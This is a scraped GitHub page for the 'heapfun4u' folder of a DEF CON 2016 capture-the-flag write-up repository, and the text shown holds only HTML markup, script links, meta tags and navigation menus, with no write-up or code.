<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>ctf-writeup/2016_defcon/heapfun4u at master · DaramG/ctf-writeup · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="B35E:0F2B:6D06842:701511B:64122955" data-pjax-transient="true"/><meta name="html-safe-nonce" content="e0ba466196fb861bbcfa1c857caebb243db4e0e9269d5992cafbe68bb3d44000" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCMzVFOjBGMkI6NkQwNjg0Mjo3MDE1MTFCOjY0MTIyOTU1IiwidmlzaXRvcl9pZCI6Ijg1ODc0NDM2MTU3MjY0NDY5MzMiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="e6b7081dfd58c8b1883c177cae1d82486ee93283903098910134b89ea795abfe" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:59453325" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to DaramG/ctf-writeup development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/cddc598ccea20e8d6e26446e27bc87fc4a2c494b65814435963dbf5316030708/DaramG/ctf-writeup" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-writeup/2016_defcon/heapfun4u at master · DaramG/ctf-writeup" /><meta name="twitter:description" content="Contribute to DaramG/ctf-writeup development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/cddc598ccea20e8d6e26446e27bc87fc4a2c494b65814435963dbf5316030708/DaramG/ctf-writeup" /><meta property="og:image:alt" content="Contribute to DaramG/ctf-writeup development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-writeup/2016_defcon/heapfun4u at master · DaramG/ctf-writeup" /><meta property="og:url" content="https://github.com/DaramG/ctf-writeup" /><meta property="og:description" content="Contribute to DaramG/ctf-writeup development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/DaramG/ctf-writeup git https://github.com/DaramG/ctf-writeup.git">
<meta name="octolytics-dimension-user_id" content="8486670" /><meta name="octolytics-dimension-user_login" content="DaramG" /><meta name="octolytics-dimension-repository_id" content="59453325" /><meta name="octolytics-dimension-repository_nwo" content="DaramG/ctf-writeup" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="59453325" /><meta name="octolytics-dimension-repository_network_root_nwo" content="DaramG/ctf-writeup" />
<link rel="canonical" href="https://github.com/DaramG/ctf-writeup/tree/master/2016_defcon/heapfun4u" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
